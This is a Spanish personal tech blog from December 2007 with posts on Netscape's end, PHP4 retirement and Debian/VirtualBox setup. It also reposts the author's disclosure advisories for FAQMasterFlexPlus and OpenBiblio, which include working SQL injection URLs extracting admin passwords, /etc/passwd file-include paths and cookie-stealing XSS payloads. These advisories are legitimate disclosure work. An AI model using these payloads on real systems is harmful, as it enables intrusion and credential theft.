Monday 31 December 2007

Despidiendo a Netscape, al desarrollo de PHP4... y al 2007!

Hola,

Hace tan solo 3 días AOL anunciaba en su blog el fin del navegador Netscape que tanto dió que hablar desde hace ya 15 años que tuvo lugar su nacimiento.

En el momento de la compra de Netscape Communications Corporation por parte de AOL allá por el 1999, el equipo de Netscape comenzó a crear una suite de código abierto: Mozilla, esta es la semilla que ha acabado siendo un buen nevagador web: Mozilla Firefox.

Y es que Internet Explorer con su preinstalación en Windows 95 hizo mucho mal, pasando a ser Netscape "el navegador que habia que instalar aparte", así como también existian versiones para Mac, el desarrollo de Netscape hoy se reduce a skins y algunas extensiones para Firefox.

Por otro lado tenemos a PHP, ahora mismo hay dos versiones mantenidas activamente, la rama 5.x y la rama 4.4.x. El 13 de Julio de 2007 el grupo PHP anunció que el desarrollo activo de PHP4 cesaría el 31 de diciembre de 2007, de todos modos, las actualizaciones críticas de seguridad serán distribuidas hasta el 8 de Agosto de 2008.

Actualmente PHP6 está en fase de desarrollo y se ha previsto su lanzamiento a la par que la retirada de PHP4.

En cuanto a mi, a finales de año, publicando un par de boletines de seguridad que tenía pendientes, y algunas otras cosas más, podeis leerlos más abajo, así como en medios de distribución de alertas de seguridad como Bugtraq, Secunia, etc.

Ya, solo me queda despedir el año, y desearos que el 2008 sea igual o mejor que este.

Happy 2008

Cuidado esta noche ahí fuera, feliz 2008!

FAQMasterFlexPlus multiple vulnerabilities

- Security Advisory -

- FAQMasterFlexPlus multiple vulnerabilities -
---------------------------------------------------------------

Product: FAQMasterFlexPlus
Version: Latest version is affected, other not tested
Vendor: http://www.netbizcity.com
Affected by: Cross-Site Scripting & SQL injection

I. Introduction.

FaqMasterFlexPlus is a free, database-driven web-based application written in php for creating and maintaining
Frequently Asked Questions (FAQs) on your web site.
It has language support and features according documentation are: "Allow to create unlimited categories and unlimited
Questions/Answers and has web-based category and FAQ administration with Add, Edit, Delete Capability.",

It's free software, released under the GNU General Public Lisence (GPL).
Works with php & mysql and comes bundled in some versions of Fantastico (Cpanel X).

II. Description

Multiple flaws in FaqMasterFlexPlus have been discovered:

1) Cross Site Scripting:

The script faq.php suffers an XSS bug, specifically the variable $cat_name it's not properly sanitized,
an attacker exploiting this flaw can perform an XSS attack to access the targeted user cookies.

All Admin scripts to add/edit/delete categories and add/edit/delete faq don't parse correctly the user supplied input too.

PoC: http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS]

2) SQL Injection (to exploit this issue it's necesarry magic_quotes_gpc set to Off in the php.ini file).

All the scripts suffers for sql injections attacks in the querys to the database.

PoC: http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,user(),1/*

Then get a new line like this:

Q faquser@localhost

or a Proof of Concept to get the admin password:

http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,

passwrd,1%20from%20users%20where%20userid='admin

Q supersecretpassword

bingo! ;)

Besides password is stored in plain text, this is a big security flaw.

This software is infected with many bugs and must be fully audited for enforce the security.

III. Timeline

08/05/2007 - Bugs discovered
10/05/2007 - Vendor Contact (No Response)
12/12/2007 - Vendor Contacted Again (No Response)
28/12/2007 - Advisory Disclosure

IV. Credits

Juan Galiana <jgaliana gmail com>

Regards

Podeis encontrar el boletín de seguridad archivado en estos links: uno y dos.

OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities

- Security Advisory -

- OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities -
----------------------------------------------------

Product: OpenBiblio
Version: Version 0.5.2 Prerelease 4 and prior is affected
Url: http://obiblio.sourceforge.net/
Affected by: Full path disclosure, local file include, phpinfo disclosure, multiple Cross Site Scripting, SQL injection

I. Introduction.

OpenBiblio is an easy to use, automated library system written in PHP containing OPAC, circulation,
cataloging, and staff administration functionality.
OpenBiblio library administration offers an intuitive interface with broad category tabs and sidebar.

II. Description

OpenBiblio suffers multiple bugs.

1) Local File Include vulnerability: its posible to include any arbitrary local file using shared/help.php file

- Code -
if (isset($_GET["page"])) {
$page = $_GET["page"];
} else {
$page = "contents";
}
include("../locale/".OBIB_LOCALE."/help/".$page.".php");

- PoC -
http://site/openbiblio/shared/help.php?page=../../../../../../etc/passwd%00

2) Local File Include (2) (only works with register_globals On and for non php files magic_quotes_gpc must be Off)

- Code -
<?php include("../navbars/".$tab.".php");?>

- PoC -
http://site/openbiblio/shared/header.php?tab=../../../etc/passwd%00

3) This link will show phpinfo

http://site/openbiblio/phpinfo.php

Remove it!

4) Path Disclosure

Some samples:

http://site/openbiblio/shared/footer.php
Fatal error: Call to a member function on a non-object in /httpdocs/openbiblio/shared/footer.php on line 18

http://site/openbiblio/circ/mbr_fields.php
Fatal error: Call to a member function on a non-object in /httpdocs/openbiblio/circ/mbr_fields.php on line 14

http://site/openbiblio/admin/custom_marc_form_fields.php
Fatal error: Cannot instantiate non-existent class: dmquery in /httpdocs/openbiblio/admin/custom_marc_form_fields.php on line 14

Please, turn display_errors to Off in php.ini

6) Multiple Cross Site Scripting, an attacker can perform an XSS attack that allows him to access the targeted user cookies

Some samples:

http://site/openbiblio/admin/staff_del_confirm.php?UID=1&LAST=[XSS]&FIRST=[XSS]

http://site/openbiblio/admin/theme_del_confirm.php?themeid=6&name=[XSS]

In /admin/theme_preview.php an attacker can inject an XSS in the var themeName with method POST.
here is a poc:

<form action="http://site/openbiblio/admin/theme_preview.php" method="post">
<input type="text" name="themeName" size="40" value="<script>alert(document.cookie);</script>"><br><br>
<input type="submit" value="doit">
</form>

try with: <script>alert(document.cookie);</script>

6) SQL injection (session with report rol is needed to exploit this bug)

Any user with report rol can access any field of the database, including admin md5 hash.

http://site/openbiblio/reports/report_criteria.php?reset=Y&rptid=balanceDueList

&title=Balance+Due+Member+List&sql=%0A++++[SQL]%0A++

with this an attacker can get the md5 admin password:

http://site/openbiblio/reports/report_criteria.php?reset=Y&rptid=balanceDueList&title=Balance+Due

+Member+List&sql=%0A++++select+username,pwd+from+staff%20where+userid=1%0A++

then click "run report" and view the results, besides, you can choose between html and csv format ;)

staff.username staff.pwd
admin 21232f297a57a5a743894a0e4a801fc3

III. Timeline

20/08/2006 - Bugs discovered
25/08/2006 - Vendor Contacted
30/08/2006 - Release 0.5.2 (parcial patch)
21/02/2007 - Release 0.6.0 (full patch)
28/12/2007 - Advisory Disclosure

IV. Solution

Upgrade to 0.6.0 from http://obiblio.sourceforge.net/
Good work!

V. Credits

Juan Galiana <jgaliana gmail com>

Regards

Podeis encontrar el boletín de seguridad archivado en este link.

Thursday 27 December 2007

Recupera la sesión con todas tus pestañas de Firefox después de cerrarlo

Hola,

Quizá muchos de vosotros ya la conoceis o useis otras extensiones para tal fin, pero vengo a presentaros una extensión que os puede ser de gran utilidad llamada Tab Mix Plus.

Tab Mix Plus

Además de permitir personalizar gran cantidad de opciones referentes a las pestañas de nuestro navegador Firefox, guarda de manera automática la sesión de tal manera que si cerramos por accidente el navegador o bien ocurre un error y se cierra, simplemente accediendo en el menú Herramientas > Administración de sesiones > Ultima sesión nos abrirá todas las pestañas tal y como lo teniamos antes de que se cerrara.

Para instarla, sigue el link y pincha en Install Now

Espero que os sea útil!

Cliente libre de SSH para dispositivos móviles

ssh

MidpSSH es un cliente libre y gratuito de telnet y SSH para dispositivos MIDP 1.0 y 2.0 (J2ME), compatible con teléfonos que incorporan la plataforma Java, así como otros dispositivos móviles.

Es desarrollado por Karn von Randow y liberado bajo licencia GPL. Actualmente la versión estable es la 1.6.0 y tiene ciertas carácteristicas como lo son la autenticación de teclado interactiva o el soporte de SSH2 que lo hacen interesante. Existe una versión en desarrollo (1.7.0) que corrije ciertos bugs concretamente con las Blackberrys Pearl.

Yo he estado probando la versión 1.6.0 en un Sony Ericsson Z610i... no está de menos tenerlo a mano, os puede ahorrar más de un paseo.

Os dejo los links para descargarlo directamente: jad o jar.

Saludos

Tuesday 25 December 2007

VirtualBox Open Source Edition en Debian

Por aqui ya hemos hablado de VirtualBox OSE, así que no me voy a enrollar... vamos a ver como instalarlo en unos cuantos pasos:

1) El primer paso es añadir la clave pública de innotek, esto lo podemos hacer mediante el comando (todos los comandos hay que teclearlos bajo root):

wget http://www.virtualbox.org/debian/innotek.asc -qO- |apt-key add -

si todo va bien, veremos un OK

2) Añadimos el repositorio a nuestro fichero de configuración de apt.

La línea en concreto es:

deb http://www.virtualbox.org/debian etch non-free

o si usamos sarge:

deb http://www.virtualbox.org/debian sarge non-free

Podemos añadirla con:

echo "deb http://www.virtualbox.org/debian etch non-free">> /etc/apt/sources.list

3) Sincronizamos el índice de paquetes: apt-get update

Una vez sincronizado, si hacemos un

# apt-cache search virtualbox

Veremos:

virtualbox-ose - PC virtualization solution

entre otros.

4) Instalamos los paquetes necesarios: apt-get install virtualbox-ose virtualbox-ose-guest-utils

5) Nos queda instalar los módulos para el kernel. Si precisamente se encuentra en los repositorios los módulos de la versión del kernel que disponemos (podemos ver cúal tenemos con uname -r) simplemente seria apt-getearlo:

apt-get install virtualbox-ose-modules-2.6-686

Si por el contrario no existe la versión del módulo para el kernel que usamos, tendremos que proceder a compilarlo, para esto haremos uso de module-assistant.

Instalamos el asistente para la compilación de módulos: apt-get install module-assistant

Una vez que lo tenemos, nos ponemos manos a la obra:

m-a -t prepare

m-a -t get virtualbox-ose-source

m-a -t build virtualbox-ose-source

m-a -t install virtualbox-ose-source

Con esto ya quedaría compilado e instalado el módulo. Para comprobarlo podemos hacer un dpkg -l|grep virtualbox-ose-module

Y veremos algo como esto:

ii virtualbox-ose-modules-2.6.X 1.5.2-dfsg2-7+2.6.X VirtualBox modules for Linux (kernel 2.6.X-

Donde X será la versión del kernel que disponemos.

Podemos verificar que carga correctamente con: modprobe vboxdrv

Por último, pasaremos a añadir a nuestro usuario al grupo vboxusers con: adduser usuario vboxusers, donde usuario es nuestro login.

Con esto ya quedaría VirtualBox OSE instalado en nuestra máquina debian.

Saturday 22 December 2007

Video: How to draw a car in MS Paint

Os traigo un video en el que Raffaele Picca, de pixelgod.net enseña como dibujar un coche en MS Paint, no es nada nuevo tiene más de un año, pero a mi personalmente me parece impresionante más que nada por estar hecho en MS Paint.

Podeis ver algún otro video del mismo autor buscando el el usuario picster en Youtube.

[kml_flashembed movie="http://youtube.com/v/ElrldD02if0" width="425" height="350" wmode="transparent" /]

Thursday 13 December 2007

Instalar Adobe Reader 8 en Debian GNU/Linux

Por defecto al realizar la instalación de debian tenemos disponible evince (es un visor de documentos pdf y postscript entre otros formatos, orientado al escritorio GNOME que se caracteriza por ser muy ligero) puede que se nos quede corto en algunas ocasiones (por ejemplo, no soporta JavaScript embebido en documentos pdf).

Si lo que queremos es instalar el Adobe Reader 8 tenemos una manera muy sencilla gracias a los repositorios de la mano de Christian Marillat: debian-multimedia.

En estos repositorios además de este paquete podemos encontrar otros destacables como por ejemplo: mplayer, flashplayer-mozilla, mythtv, realplayer, w32codecs y muchos otros.

Para agregar los repositorios dependiendo si usamos stable, testing o unstable (actualmente etch, lenny y sid) pondremos una de estas 3 líneas en el fichero /etc/apt/sources.list:

deb http://www.debian-multimedia.org stable main

deb http://www.debian-multimedia.org testing main

deb http://www.debian-multimedia.org unstable main

También dispone de una rama experimental:

deb http://www.debian-multimedia.org experimental main

Y sources:

deb-src http://www.debian-multimedia.org sid main

Para quien le pueda interesar.

Lo primero que tendremos que hacer al agregar este nuevo repositorio en nuestro sources.list es instalar el paquete debian-multimedia-keyring.

Para esto tenemos dos posibilidades o bien bajamos el paquete directamente de la página oficial y lo instalamos manualmente con 'dpkg -i debian-multimedia-keyring_2007.02.14_all.deb' seguido de un apt-get update o bien realizamos un apt-get update y lo instalamos con apt-get install debian-multimedia-keyring ignorando los warnings sobre la falta de la llave GPG, que básicamente es lo que instala este paquete.

Los warning que comento son estos:

W: GPG error: http://www.debian-multimedia.org etch Release: Las firmas siguientes no se pudieron verificar porque su llave pública no está disponible: NO_PUBKEY 07DC563D1F41B907
W: Tal vez quiera ejecutar 'apt-get update' para corregir estos problemas
Debidos a que no encuentra aún la llave GPG.

Una vez que tengamos instalado el debian-multimedia-keyring y por lo tanto las llaves GPG del repositorio, solo queda hacer un apt-get install acroread (o mediante aptitude, synaptic como más cómodos os sintais) para instalar el Adobe Reader en concreto instala la versión 8.1.1.

Al igual que este paquete podeis instalar todos los que querais de los casi 200 que son mantenidos actualmente, aquí tenéis una lista completa para debian stable i386, también existen paquetes para otras plataformas (sparc, amd64, powerpc, alpha, ia64, etc). La lista completa de paquetes por ramas y arquitecturas la encontraréis en la sección de paquetes.

Actualización: Para que os funcione el soporte JavaScript embebido en documentos PDF, tendreis que instalar además el paquete acroread-plugins del mismo repositorio.

Monday 10 December 2007

VirtualBox: Compartir ficheros por red

innotek VirtualBox es una solución de virtualización x86, aunque el programa original es comercial y propietario en enero de 2007 se lanzó la versión VirtualBox OSE (Open Source Edition) liberada bajo licencia GPL.

Es una alternativa a tener muy en cuenta frente a otras de software propietario como el conocido VMware, además existe un repositorio oficial donde se albergan paquetes para Ubuntu y Debian entre otras muchas distribuciones.

Posee algunas características destacables como la ejecución remota de máquinas virtuales usando Remote Desktop Protocol (RDP), soporte para iSCSI, y soporte para dispositivos USB remotos sobre RDP.

Soporta virtualización VT-x para hardware de Intel y también AMD-V para AMD.

Después de esta pequeña puesta en escena, vamos a ver como compartir ficheros por red desde el host anfitrión al host virtualizado. Uno de los puntos a favor es que nada más instalar el sistema virtualizado VirtualBox se autoconfigura para hacer NAT y tendremos salida a Internet automáticamente.

En concreto estoy probando con una máquina GNU/Linux anfitriona, virtualizando máquinas con Microsoft Windows XP SP2 y GNU/Linux.

Vamos a ver el caso ejecutando Windows XP en VirtualBox sobre GNU/Linux, y vamos a compartir la carpeta /shared.

Un paso previo es tener instalado las Guest Additions (Aplicaciones del Húesped) que si no las tenemos instaladas lo podremos hacer desde el menú Dispositivos.

Una vez iniciada la máquina virtual, desde la opción del menú Dispositivos > Directorios compartidos podemos acceder a la lista de directorios que queremos compartir y añadir/quitar a nuestro gusto.

Accedemos a esta opción y clickamos en el icono de agregar Add a new shared folder... o presionamos la tecla Ins. Seleccionamos el directorio que queremos compartir (/shared) y le damos un nombre, este nombre será el que usemos para acceder al recurso compartido (por ejemplo shared).

Ahora desde la máquina virtual, pulsamos en Inicio > Ejecutar tecleamos cmd alli escribimos: net use x: \\vboxsrv\shraed (siendo shared el nombre que pusimos en el paso previo).

Desde Mi PC podemos acceder a la unidad X:, tanto con permisos de lectura como escritura.

En esta captura se puede ver la ventana del cmd, así como también la sección Unidades de Red de Mi PC:

VirtualBox

Si el sistema operativo virtualizado es GNU/Linux tendremos que montar la unidad mediante el comando: mount -t vboxfs shared /mnt/shared.

Saludos

Feed RSS disponible a través de FeedBurner

Desde hace unos días está disponible el feed del blog mediante FeedBurner.

FeedBurner

Podeis suscribiros desde http://feeds.feedburner.com/JuanGaliana

Saludos

Tuesday 4 December 2007

Configurar red inalambrica eduroam de la Universidad de Alicante en Debian/Ubuntu

Hola,

Después de recuperarme del fin de semana y del conciertazo de los Chemical Brothers en Valencia vuelvo a la carga con un post sobre configuración de eduroam en Linux de manera muy cómoda.

Eduroam (Educational Roaming) es un proyecto en el cual participa la Universidad de Alicante.

El objetivo de esta iniciativa es facilitar la movilidad de la comunidad universitaria entre las diferentes organizaciones participantes.

Vamos a ver cómo configurar la red wireless en Debian/Ubuntu (los usuarios de debian mirar la Nota a pie del post antes de ejecutar el script), para esto vamos a hacer uso de un script que lanza ventanas del entorno gráfico mediante zenity que ha creado Adrián Baños enmarcado en el taller de configuración de servicios de las Jornadas COPLA de la UA que ya hablamos por aquí.

Podeis descargarlo desde este enlace


Para ejecutarlo podeis teclear Alt+F2 y pinchar en Ejecutar en el archivo... buscamos el script y pinchamos en Ejecutar.

Wireless eduroam 1

En primer lugar necesitamos descargar los certificados del Campus Virtual, ya que la red además de usar WPA (WiFi Protected Access) como sistema de protección, usa el protocolo 802.11X para autenticación y acceso a la red.

Los certificados descargados van en el formato P12 (PKCS), y wpa_supplicant trabaja con certificados pem, el script se encarga de realizar la conversión mediante openssl y crea el fichero de configuración para wpa_supplicant. Tira de wext (wireless extensions del kernel Linux) por lo tanto no tenemos que complicarnos con configuraciones diferentes para distintos drivers.

El script nos pide el fichero cert.p12 y seguidamente que tecleemos nuestro DNI (sin letra).

Veremos un mensaje como este:

Wireless eduroam 2

Pinchamos en aceptar, y elegimos nuestra tarjeta:

Wireless eduroam 3

Con esto la configuración ha terminado.

Wireless eduroam 4

Por último crea dos iconos en el escritorio para iniciar y parar la wifi.

Wireless eduroam 5

Nota para Debian: Para que funcionen los scripts de conexión/desconexión en debian tenemos dos opciones: o bien insertamos nuestro usuario en sudo o bien modificamos el script modificando gksudo por gksu (suponiendo obviamente que tenemos contraseña para root).

Lo más sencillo reemplazar gksudo, ejecutar este comando y usar el script confuadebian.sh: sed 's/gksudo/gksu/g' confua.sh > confuadebian.sh

Supongo que esto se fijará en nuevas versiones, el enlace será el mismo ya que es un enlace al svn.

ACTUALIZACIÓN: El script desde hace un tiempo ya está actualizado para autodetectar si estamos sobre Debian o Ubuntu y funciona en ambos.

Link: Script configuración eduroam en Debian/Ubuntu

Saludos